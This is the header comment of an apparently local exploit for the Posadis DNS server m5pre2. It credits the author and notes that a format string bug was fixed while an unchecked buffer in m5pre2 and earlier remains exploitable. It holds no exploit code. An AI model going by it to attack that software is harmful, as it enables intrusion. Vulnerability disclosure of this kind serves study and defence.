/* local posadis m5pre2 exploit by eSDee of Netric - (www.netric.org)
* ------------------------------------------------------------------
* The formatstring bug (discovered by kkr) is fixed in the log_print
* function in m5pre2. However, there exists an unchecked buffer in
* m5pre2 and prior, that can be exploited too.
* ------------------------------------------------------------------
